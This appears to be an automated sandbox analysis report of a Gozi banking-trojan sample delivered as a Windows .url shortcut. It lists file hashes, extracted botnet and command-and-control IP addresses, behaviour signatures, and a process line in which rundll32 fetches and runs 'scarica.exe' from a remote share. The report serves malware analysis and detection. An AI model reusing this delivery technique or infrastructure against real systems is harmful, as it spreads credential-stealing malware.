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Analysis

  • max time kernel
    147s
  • max time network
    176s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/02/2023, 14:04

General

  • Target

    documento/documento.url

  • Size

    193B

  • MD5

    edca65cabb466cc4d38738f4661bfe47

  • SHA1

    3d3ab1139b38b6e3fd16f26315b57fe9d904397c

  • SHA256

    b6ece3b9c859b0baa1d09bc27a77df0e35a9bb0f866eefc726a3237a0eaa37fc

  • SHA512

    ddffc79858639112d3f2337c6bbf0bbee4a8331153cb06be499cfbe543c36f371834ef376266ccf4af1f52cd54f58c08c56f0f4b7d06b19921f96617eda323e8

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7708

C2

checklist.skype.com

62.173.147.156

31.41.44.3

46.8.19.140

45.151.232.3

62.173.139.21

185.142.99.47

31.41.44.121

Attributes
  • base_path

    /drew/

  • build

    250255

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documento\documento.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • \??\UNC\46.8.19.244\Agenzia\scarica.exe
      "\\46.8.19.244\Agenzia\scarica.exe"
      2⤵
        PID:5028

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/5028-133-0x000000000068D000-0x00000000006A0000-memory.dmp

      Filesize

      76KB

    • memory/5028-134-0x0000000000610000-0x000000000061B000-memory.dmp

      Filesize

      44KB

    • memory/5028-135-0x0000000000400000-0x000000000055E000-memory.dmp

      Filesize

      1.4MB

    • memory/5028-136-0x000000000068D000-0x00000000006A0000-memory.dmp

      Filesize

      76KB

    • memory/5028-137-0x00000000022F0000-0x00000000022FD000-memory.dmp

      Filesize

      52KB

    • memory/5028-140-0x0000000000610000-0x000000000061B000-memory.dmp

      Filesize

      44KB

    • memory/5028-141-0x0000000000400000-0x000000000055E000-memory.dmp

      Filesize

      1.4MB